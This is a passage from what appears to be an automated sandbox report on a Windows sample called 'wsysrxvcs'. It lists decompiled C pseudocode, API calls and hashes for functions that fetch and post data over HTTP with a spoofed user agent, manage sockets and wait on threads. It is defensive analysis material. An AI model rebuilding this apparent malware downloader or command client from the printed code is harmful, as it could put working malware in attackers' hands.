                                                                                                                                                                                                                                                                                                                                                      • HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040CD75
                                                                                                                                                                                                                                                                                                                                                      • HttpSendRequestA.WININET(00000000,004108E0,000000FF,00009E34), ref: 0040CD9F
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040CDDE
                                                                                                                                                                                                                                                                                                                                                      • memcpy.NTDLL(00000000,?,00000000), ref: 0040CE30
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040CE61
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040CE6E
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040CE7B
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
                                                                                                                                                                                                                                                                                                                                                      • String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2761394606-2217117414
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 6b9f49c2928066bfe5e192825a7e2d11686b98e062fbe6de84300f8c3c6fdf6c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: cb1709aa341c06635a7664d56b3718a2fe4aa2a6be49ece60be182672612c429
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6b9f49c2928066bfe5e192825a7e2d11686b98e062fbe6de84300f8c3c6fdf6c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6E512D75901228ABDB26DF54CC94BEA77BCAB48705F1081E9B50DA6280D7B86FC4CF54
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DFD0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 93networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E0040DFD0(intOrPtr* __edi) {
				void* __esi;
				void* _t25;
				long _t40;
				intOrPtr* _t53;
				intOrPtr* _t55;
				void* _t56;
				LONG* _t62;

				_t53 = __edi;
				if(__edi == 0 ||  *__edi != 0x494f4350) {
					return _t25;
				} else {
					_t1 = _t53 + 0x20; // 0x20
					EnterCriticalSection(_t1);
					_t55 =  *((intOrPtr*)(__edi + 0x38));
					if(_t55 == 0) {
						L11:
						_t13 = _t53 + 0x20; // 0x20
						LeaveCriticalSection(_t13);
						SetEvent( *(_t53 + 0x10));
						_t56 = 0;
						if( *((intOrPtr*)(_t53 + 4)) <= 0) {
							L14:
							E0040BB80( *((intOrPtr*)(_t53 + 0xc)), 0xffffffff);
							E0040BCC0( *((intOrPtr*)(_t53 + 0xc)));
							CloseHandle( *(_t53 + 8));
							CloseHandle( *(_t53 + 0x10));
							__imp__WSACloseEvent( *((intOrPtr*)(_t53 + 0x18)));
							E004094F0( *((intOrPtr*)(_t53 + 0x14)));
							_t24 = _t53 + 0x20; // 0x20
							DeleteCriticalSection(_t24);
							return E00408B60(_t53);
						}
						do {
							PostQueuedCompletionStatus( *(_t53 + 8), 0, 0, 0);
							_t56 = _t56 + 1;
						} while (_t56 <  *((intOrPtr*)(_t53 + 4)));
						goto L14;
					} else {
						goto L3;
					}
					do {
						L3:
						if( *_t55 == 0x69636c69) {
							if( *((char*)(_t55 + 0x275)) == 0) {
								_t62 = _t55 + 0x21c;
								_t40 = InterlockedExchangeAdd(_t62, 0);
								if(_t40 == 0) {
									 *(_t55 + 0x230) = _t40;
									 *((intOrPtr*)(_t55 + 0x220)) = 1;
									 *((intOrPtr*)(_t55 + 0x228)) = _t55 + 8;
									 *((intOrPtr*)(_t55 + 0x22c)) = 0x200;
									InterlockedIncrement(_t62);
									if(E0040E620(_t55) == 0) {
										InterlockedDecrement(_t62);
									}
								}
							}
						}
						_t55 =  *((intOrPtr*)(_t55 + 0x280));
					} while (_t55 != 0);
					goto L11;
				}
			}










                                                                                                                                                                                                                                                                                                                                                      0x0040dfd0
                                                                                                                                                                                                                                                                                                                                                      0x0040dfd2
                                                                                                                                                                                                                                                                                                                                                      0x0040e107
                                                                                                                                                                                                                                                                                                                                                      0x0040dfe4
                                                                                                                                                                                                                                                                                                                                                      0x0040dfe6
                                                                                                                                                                                                                                                                                                                                                      0x0040dfea
                                                                                                                                                                                                                                                                                                                                                      0x0040dff0
                                                                                                                                                                                                                                                                                                                                                      0x0040dff5
                                                                                                                                                                                                                                                                                                                                                      0x0040e080
                                                                                                                                                                                                                                                                                                                                                      0x0040e080
                                                                                                                                                                                                                                                                                                                                                      0x0040e084
                                                                                                                                                                                                                                                                                                                                                      0x0040e08e
                                                                                                                                                                                                                                                                                                                                                      0x0040e094
                                                                                                                                                                                                                                                                                                                                                      0x0040e099
                                                                                                                                                                                                                                                                                                                                                      0x0040e0b3
                                                                                                                                                                                                                                                                                                                                                      0x0040e0b9
                                                                                                                                                                                                                                                                                                                                                      0x0040e0c2
                                                                                                                                                                                                                                                                                                                                                      0x0040e0d4
                                                                                                                                                                                                                                                                                                                                                      0x0040e0da
                                                                                                                                                                                                                                                                                                                                                      0x0040e0e0
                                                                                                                                                                                                                                                                                                                                                      0x0040e0ea
                                                                                                                                                                                                                                                                                                                                                      0x0040e0f2
                                                                                                                                                                                                                                                                                                                                                      0x0040e0f6
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e106
                                                                                                                                                                                                                                                                                                                                                      0x0040e0a1
                                                                                                                                                                                                                                                                                                                                                      0x0040e0ab
                                                                                                                                                                                                                                                                                                                                                      0x0040e0ad
                                                                                                                                                                                                                                                                                                                                                      0x0040e0ae
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dffb
                                                                                                                                                                                                                                                                                                                                                      0x0040dffb
                                                                                                                                                                                                                                                                                                                                                      0x0040e001
                                                                                                                                                                                                                                                                                                                                                      0x0040e023
                                                                                                                                                                                                                                                                                                                                                      0x0040e027
                                                                                                                                                                                                                                                                                                                                                      0x0040e02e
                                                                                                                                                                                                                                                                                                                                                      0x0040e036
                                                                                                                                                                                                                                                                                                                                                      0x0040e03c
                                                                                                                                                                                                                                                                                                                                                      0x0040e042
                                                                                                                                                                                                                                                                                                                                                      0x0040e04c
                                                                                                                                                                                                                                                                                                                                                      0x0040e052
                                                                                                                                                                                                                                                                                                                                                      0x0040e05c
                                                                                                                                                                                                                                                                                                                                                      0x0040e069
                                                                                                                                                                                                                                                                                                                                                      0x0040e06c
                                                                                                                                                                                                                                                                                                                                                      0x0040e06c
                                                                                                                                                                                                                                                                                                                                                      0x0040e069
                                                                                                                                                                                                                                                                                                                                                      0x0040e036
                                                                                                                                                                                                                                                                                                                                                      0x0040e023
                                                                                                                                                                                                                                                                                                                                                      0x0040e072
                                                                                                                                                                                                                                                                                                                                                      0x0040e078
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dffb

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(00000020,0040B840,?,0040EB74), ref: 0040DFEA
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E016
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E02E
                                                                                                                                                                                                                                                                                                                                                      • InterlockedIncrement.KERNEL32(?), ref: 0040E05C
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E06C
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(00000020,?,0040EB74), ref: 0040E084
                                                                                                                                                                                                                                                                                                                                                      • SetEvent.KERNEL32(?,?,0040EB74), ref: 0040E08E
                                                                                                                                                                                                                                                                                                                                                      • PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,0040EB74), ref: 0040E0AB
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,?,0040EB74), ref: 0040E0D4
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,?,0040EB74), ref: 0040E0DA
                                                                                                                                                                                                                                                                                                                                                      • WSACloseEvent.WS2_32(?), ref: 0040E0E0
                                                                                                                                                                                                                                                                                                                                                      • DeleteCriticalSection.KERNEL32(00000020,?,?,?,0040EB74), ref: 0040E0F6
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
                                                                                                                                                                                                                                                                                                                                                      • String ID: PCOI$ilci
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2403999931-3762367603
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: f5b55c20d3fb2cfed96e323f674dce6efe2bb83bec0be88da847c45ff3942c3b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c7027fb7f2896e8f2c2eb0808d59b3608ae9b6344484860e629dc12536fd183a
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f5b55c20d3fb2cfed96e323f674dce6efe2bb83bec0be88da847c45ff3942c3b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 80318771900715ABC720AF71E848F97B7A8BF08300F04892AE599A7691C779F864CB98
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C150 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130networkfileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 82%
                                                                                                                                                                                                                                                                                                                                                      			E0040C150(char* _a4, char** _a8) {
				char _v260;
				char _v772;
				long _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				void _v1876;
				long _v1880;
				void* _t91;
				void* _t92;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t92 = _t91 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA(0, 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "GET",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							if(HttpSendRequestA(_v848, 0, 0, 0, 0) != 0) {
								if(_a8 == 0) {
									_v776 = 1;
								} else {
									_v852 = 0;
									while(1 != 0) {
										_t87 = _v848;
										if(InternetReadFile(_v848,  &_v1876, 0x400,  &_v1880) != 0 && _v1880 != 0) {
											_v776 = E00408A50(_v776, _t87, _v776,  &(_v852[_v1880]));
											memcpy( &(_v852[_v776]),  &_v1876, _v1880);
											_t92 = _t92 + 0x14;
											_v852 =  &(_v852[_v1880]);
											continue;
										}
										break;
									}
									 *_a8 = _v852;
								}
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}





















                                                                                                                                                                                                                                                                                                                                                      0x0040c159
                                                                                                                                                                                                                                                                                                                                                      0x0040c163
                                                                                                                                                                                                                                                                                                                                                      0x0040c178
                                                                                                                                                                                                                                                                                                                                                      0x0040c17d
                                                                                                                                                                                                                                                                                                                                                      0x0040c180
                                                                                                                                                                                                                                                                                                                                                      0x0040c190
                                                                                                                                                                                                                                                                                                                                                      0x0040c196
                                                                                                                                                                                                                                                                                                                                                      0x0040c1a6
                                                                                                                                                                                                                                                                                                                                                      0x0040c1ac
                                                                                                                                                                                                                                                                                                                                                      0x0040c1c8
                                                                                                                                                                                                                                                                                                                                                      0x0040c1de
                                                                                                                                                                                                                                                                                                                                                      0x0040c1eb
                                                                                                                                                                                                                                                                                                                                                      0x0040c217
                                                                                                                                                                                                                                                                                                                                                      0x0040c224
                                                                                                                                                                                                                                                                                                                                                      0x0040c24d
                                                                                                                                                                                                                                                                                                                                                      0x0040c25a
                                                                                                                                                                                                                                                                                                                                                      0x0040c277
                                                                                                                                                                                                                                                                                                                                                      0x0040c281
                                                                                                                                                                                                                                                                                                                                                      0x0040c336
                                                                                                                                                                                                                                                                                                                                                      0x0040c287
                                                                                                                                                                                                                                                                                                                                                      0x0040c287
                                                                                                                                                                                                                                                                                                                                                      0x0040c291
                                                                                                                                                                                                                                                                                                                                                      0x0040c2b1
                                                                                                                                                                                                                                                                                                                                                      0x0040c2c0
                                                                                                                                                                                                                                                                                                                                                      0x0040c2e9
                                                                                                                                                                                                                                                                                                                                                      0x0040c30a
                                                                                                                                                                                                                                                                                                                                                      0x0040c30f
                                                                                                                                                                                                                                                                                                                                                      0x0040c31e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c31e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c2c0
                                                                                                                                                                                                                                                                                                                                                      0x0040c332
                                                                                                                                                                                                                                                                                                                                                      0x0040c332
                                                                                                                                                                                                                                                                                                                                                      0x0040c281
                                                                                                                                                                                                                                                                                                                                                      0x0040c347
                                                                                                                                                                                                                                                                                                                                                      0x0040c347
                                                                                                                                                                                                                                                                                                                                                      0x0040c354
                                                                                                                                                                                                                                                                                                                                                      0x0040c354
                                                                                                                                                                                                                                                                                                                                                      0x0040c361
                                                                                                                                                                                                                                                                                                                                                      0x0040c361
                                                                                                                                                                                                                                                                                                                                                      0x0040c370

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memset.NTDLL ref: 0040C178
                                                                                                                                                                                                                                                                                                                                                      • InternetCrackUrlA.WININET(0040CF69,00000000,10000000,0000003C), ref: 0040C1C8
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C1D8
                                                                                                                                                                                                                                                                                                                                                      • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C211
                                                                                                                                                                                                                                                                                                                                                      • HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C247
                                                                                                                                                                                                                                                                                                                                                      • HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C26F
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C2B8
                                                                                                                                                                                                                                                                                                                                                      • memcpy.NTDLL(00000000,?,00000000), ref: 0040C30A
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040C347
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040C354
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040C361
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
                                                                                                                                                                                                                                                                                                                                                      • String ID: <$GET
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1205665004-427699995
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 047eae879ac5e57249f6191f1f21836e1b87565fc0e9f3af6bc2277812fc5b8e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 39a8e37caa5185a3eb3a08cb953c60fa8a91e689940cf5f043a44b8b34c23c65
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 047eae879ac5e57249f6191f1f21836e1b87565fc0e9f3af6bc2277812fc5b8e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F1512C71911228ABDB36CB50CC95BE9737CBB44705F0481E9B60DAA2C0D7B96BC4CF54
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040BB80 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 95threadsleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 80%
                                                                                                                                                                                                                                                                                                                                                      			E0040BB80(LONG* _a4, intOrPtr _a8) {
				char _v8;
				long _v12;
				LONG* _v16;
				signed char _v17;
				long _v24;
				signed int _v28;
				signed int _t57;
				intOrPtr _t80;

				_v8 = GetThreadPriority(GetCurrentThread());
				SetThreadPriority(GetCurrentThread(), 0xfffffffe);
				_v12 = 0;
				if(_a4 != 0) {
					_v16 = _a4;
					if(InterlockedExchangeAdd(_v16, 0) > 0) {
						_v17 = 0 | _a8 != 0xffffffff;
						while(1 != 0) {
							_v24 = 0;
							EnterCriticalSection( &(_v16[1]));
							_v28 = 0;
							while(_v28 <  *_v16) {
								if( *(_v16[7] + _v28 * 4) != 0) {
									_t57 = WaitForSingleObject( *(_v16[7] + _v28 * 4), 0);
									asm("sbb eax, eax");
									_v24 =  ~_t57 + 1 + _v24;
								} else {
									_v24 = _v24 + 1;
								}
								_v28 = _v28 + 1;
							}
							LeaveCriticalSection( &(_v16[1]));
							if(_v24 !=  *_v16) {
								if((_v17 & 0x000000ff) == 0) {
									L15:
									Sleep(1);
									continue;
								} else {
									_t80 = _a8 - 1;
									_a8 = _t80;
									if(_t80 != 0) {
										goto L15;
									} else {
									}
								}
							} else {
								_v12 = 1;
							}
							goto L16;
						}
					}
				}
				L16:
				_t39 =  &_v8; // 0x40eb74
				SetThreadPriority(GetCurrentThread(),  *_t39);
				return _v12;
			}











                                                                                                                                                                                                                                                                                                                                                      0x0040bb93
                                                                                                                                                                                                                                                                                                                                                      0x0040bb9f
                                                                                                                                                                                                                                                                                                                                                      0x0040bba5
                                                                                                                                                                                                                                                                                                                                                      0x0040bbb0
                                                                                                                                                                                                                                                                                                                                                      0x0040bbb9
                                                                                                                                                                                                                                                                                                                                                      0x0040bbca
                                                                                                                                                                                                                                                                                                                                                      0x0040bbd9
                                                                                                                                                                                                                                                                                                                                                      0x0040bbdc
                                                                                                                                                                                                                                                                                                                                                      0x0040bbe9
                                                                                                                                                                                                                                                                                                                                                      0x0040bbf7
                                                                                                                                                                                                                                                                                                                                                      0x0040bbfd
                                                                                                                                                                                                                                                                                                                                                      0x0040bc0f
                                                                                                                                                                                                                                                                                                                                                      0x0040bc26
                                                                                                                                                                                                                                                                                                                                                      0x0040bc42
                                                                                                                                                                                                                                                                                                                                                      0x0040bc4a
                                                                                                                                                                                                                                                                                                                                                      0x0040bc52
                                                                                                                                                                                                                                                                                                                                                      0x0040bc28
                                                                                                                                                                                                                                                                                                                                                      0x0040bc2e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc2e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc0c
                                                                                                                                                                                                                                                                                                                                                      0x0040bc0c
                                                                                                                                                                                                                                                                                                                                                      0x0040bc5e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6c
                                                                                                                                                                                                                                                                                                                                                      0x0040bc7d
                                                                                                                                                                                                                                                                                                                                                      0x0040bc8c
                                                                                                                                                                                                                                                                                                                                                      0x0040bc8e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bc7f
                                                                                                                                                                                                                                                                                                                                                      0x0040bc82
                                                                                                                                                                                                                                                                                                                                                      0x0040bc85
                                                                                                                                                                                                                                                                                                                                                      0x0040bc88
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bc8a
                                                                                                                                                                                                                                                                                                                                                      0x0040bc88
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6c
                                                                                                                                                                                                                                                                                                                                                      0x0040bbdc
                                                                                                                                                                                                                                                                                                                                                      0x0040bbca
                                                                                                                                                                                                                                                                                                                                                      0x0040bc99
                                                                                                                                                                                                                                                                                                                                                      0x0040bc99
                                                                                                                                                                                                                                                                                                                                                      0x0040bca4
                                                                                                                                                                                                                                                                                                                                                      0x0040bcb0

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32 ref: 0040BB86
                                                                                                                                                                                                                                                                                                                                                      • GetThreadPriority.KERNEL32(00000000,?,0040E0BE,?,000000FF,?,0040EB74), ref: 0040BB8D
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32 ref: 0040BB98
                                                                                                                                                                                                                                                                                                                                                      • SetThreadPriority.KERNEL32(00000000,?,0040E0BE,?,000000FF,?,0040EB74), ref: 0040BB9F
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(000000FF,00000000), ref: 0040BBC2
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(000000FB), ref: 0040BBF7
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040BC42
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(000000FB), ref: 0040BC5E
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(00000001), ref: 0040BC8E
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32 ref: 0040BC9D
                                                                                                                                                                                                                                                                                                                                                      • SetThreadPriority.KERNEL32(00000000,?,0040E0BE,?,000000FF), ref: 0040BCA4
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
                                                                                                                                                                                                                                                                                                                                                      • String ID: t@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3862671961-2916730932
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: cf565aa7011320953ed0e497de7cdfd2dc7c337fcc3144a9e6e6e2bed3c7c21c
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C2412F74D04209EFEB14CFA4D848BAEBB75FF44305F10C16AE915A7380DB799A81CB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E730 Relevance: 13.6, APIs: 9, Instructions: 141COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 79%
                                                                                                                                                                                                                                                                                                                                                      			E0040E730(void* __eax, long __ebx, void* __ecx, short _a4, short _a6) {
				long _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				void* __esi;
				intOrPtr _t59;
				intOrPtr _t64;
				void* _t73;
				void* _t106;
				void* _t108;

				_t108 = __eax;
				_t106 = __ecx;
				if(_a4 != 0 || __ebx == 0) {
					InterlockedDecrement(_t108 + 0x14);
					_a4 = 1;
					_t59 =  *((intOrPtr*)(_t106 + 0x260));
					 *((char*)(_t106 + 0x275)) = 1;
					_a6 = 0;
					__imp__#21(_t59, 0xffff, 0x80,  &_a4, 4);
					__imp__#3( *((intOrPtr*)(_t106 + 0x260)));
					 *((intOrPtr*)(_t106 + 0x260)) = 0xffffffff;
					return _t59;
				}
				InterlockedExchange(_t106 + 4, E0040BD50());
				_t64 =  *((intOrPtr*)(_t108 + 0x18));
				if(_t64 == 0) {
					if( *((char*)(_t106 + 0x275)) == 0) {
						 *((intOrPtr*)(_t108 + 0x28)) =  *((intOrPtr*)(_t108 + 0x28)) + __ebx;
						if( *((intOrPtr*)(_t108 + 0x28)) >=  *((intOrPtr*)(_t108 + 0x24))) {
							InterlockedDecrement(_t108 + 0x14);
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v8 =  *((intOrPtr*)(_t108 + 0x30));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v4 =  *((intOrPtr*)(_t108 + 0x28));
